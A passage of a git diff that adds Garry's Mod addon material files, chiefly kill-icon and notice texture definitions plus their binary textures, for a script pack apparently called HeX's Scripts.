a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vtf new file mode 100644 index 0000000..69b9a36 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/combine_mine_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vmt new file mode 100644 index 0000000..e226a4e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/env_explosion_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vtf new file mode 100644 index 0000000..5266ee4 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_explosion_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vmt new file mode 100644 index 0000000..2fd7edc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/env_fire_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vtf new file mode 100644 index 0000000..f98c40f Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_fire_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vmt new file mode 100644 index 0000000..fca9e33 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/env_headcrabcanister_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vtf new file mode 100644 index 0000000..f09c69f Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_headcrabcanister_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_laser_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_laser_killicon.vmt new file mode 100644 index 0000000..fd52750 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_laser_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/env_laser_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_laser_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_laser_killicon.vtf new file mode 100644 index 0000000..745f49a Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/env_laser_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_door_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_door_killicon.vmt new file mode 100644 index 0000000..121edbb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_door_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/func_door_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_door_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_door_killicon.vtf new file mode 100644 index 0000000..3d92ff5 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_door_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vmt new file mode 100644 index 0000000..62ad120 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/func_physbox_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vtf new file mode 100644 index 0000000..3c56476 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/func_physbox_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/grenade_spit_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/grenade_spit_killicon.vmt new file mode 100644 index 0000000..f40b40d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/grenade_spit_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/grenade_spit_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/grenade_spit_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/grenade_spit_killicon.vtf new file mode 100644 index 0000000..8228cf2 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/grenade_spit_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/hunter_flechette_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/hunter_flechette_killicon.vmt new file mode 100644 index 0000000..1ce1a32 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/hunter_flechette_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/hunter_flechette_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/hunter_flechette_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/hunter_flechette_killicon.vtf new file mode 100644 index 0000000..6fb0cc2 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/hunter_flechette_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vmt new file mode 100644 index 0000000..d951464 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_antlion_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vtf new file mode 100644 index 0000000..c45106c Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlion_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vmt new file mode 100644 index 0000000..4c23a2e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_antlionguard_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vtf new file mode 100644 index 0000000..2726d01 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_antlionguard_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vmt new file mode 100644 index 0000000..7bb50de --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_barnacle_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vtf new file mode 100644 index 0000000..053ef16 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_barnacle_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vmt new file mode 100644 index 0000000..cf4ad69 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_manhack_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vtf new file mode 100644 index 0000000..0fd0e61 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_manhack_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_rollermine_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_rollermine_killicon.vmt new file mode 100644 index 0000000..8670ccb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_rollermine_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_rollermine_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_rollermine_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_rollermine_killicon.vtf new file mode 100644 index 0000000..3b024b4 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_rollermine_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vmt new file mode 100644 index 0000000..d32ef66 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_strider_cannon_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vtf new file mode 100644 index 0000000..0281762 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_cannon_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_gun_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_gun_killicon.vmt new file mode 100644 index 0000000..196d7bf --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_gun_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/npc_strider_gun_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_gun_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_gun_killicon.vtf new file mode 100644 index 0000000..0c4439f Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/npc_strider_gun_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vmt new file mode 100644 index 0000000..98c2458 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/point_hurt_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vtf new file mode 100644 index 0000000..c1f7342 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/point_hurt_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vmt new file mode 100644 index 0000000..6046e88 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/prop_ragdoll_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vtf new file mode 100644 index 0000000..046211a Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/prop_ragdoll_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_default_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_default_killicon.vmt new file mode 100644 index 0000000..e717302 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_default_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/sent_default_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_default_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_default_killicon.vtf new file mode 100644 index 0000000..cd252ab Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_default_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_nuke_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_nuke_killicon.vmt new file mode 100644 index 0000000..37de76c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_nuke_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/sent_nuke_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_nuke_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_nuke_killicon.vtf new file mode 100644 index 0000000..ed13e14 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/sent_nuke_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/spazzernade_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/spazzernade_killicon.vmt new file mode 100644 index 0000000..4aedf9d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/spazzernade_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/spazzernade_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/spazzernade_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/spazzernade_killicon.vtf new file mode 100644 index 0000000..b370333 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/spazzernade_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vmt new file mode 100644 index 0000000..9ff01da --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/weapon_striderbuster_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vtf new file mode 100644 index 0000000..5651bde Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weapon_striderbuster_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weldball_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weldball_killicon.vmt new file mode 100644 index 0000000..c602e7e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weldball_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/weldball_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weldball_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weldball_killicon.vtf new file mode 100644 index 0000000..cc2618a Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/weldball_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/worldspawn_killicon.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/worldspawn_killicon.vmt new file mode 100644 index 0000000..b5c2e37 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/worldspawn_killicon.vmt @@ -0,0 +1,6 @@ +"UnlitGeneric" +{ + "$basetexture" "killicons/worldspawn_killicon" + "$vertexalpha" 1 + "$vertexcolor" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/worldspawn_killicon.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/worldspawn_killicon.vtf new file mode 100644 index 0000000..7f7749c Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/killicons/worldspawn_killicon.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/mat1.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/mat1.vmt new file mode 100644 index 0000000..f596426 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/mat1.vmt @@ -0,0 +1,9 @@ +"Wireframe" +{ + "$basetexture" "models/wireframe" + "$model" 1 + "$translucent" 1 + "$alpha" 1 + "$nocull" 1 + "$ignorez" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/mat2.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/mat2.vmt new file mode 100644 index 0000000..6fd1311 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/mat2.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "" + "$model" 1 + "$translucent" 1 + "$alpha" 1 + "$nocull" 1 + "$ignorez" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldcleanup.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldcleanup.vmt new file mode 100644 index 0000000..f3d94a3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldcleanup.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "vgui/notices/oldcleanup" + "$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldcleanup.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldcleanup.vtf new file mode 100644 index 0000000..f1f77d8 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldcleanup.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/olderror.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/olderror.vmt new file mode 100644 index 0000000..a1dfa18 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/olderror.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "vgui/notices/olderror" + "$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/olderror.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/olderror.vtf new file mode 100644 index 0000000..f9687b9 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/olderror.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vmt new file mode 100644 index 0000000..3aa4359 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "vgui/notices/oldgeneric" + "$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/vgui/notices/oldgeneric.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 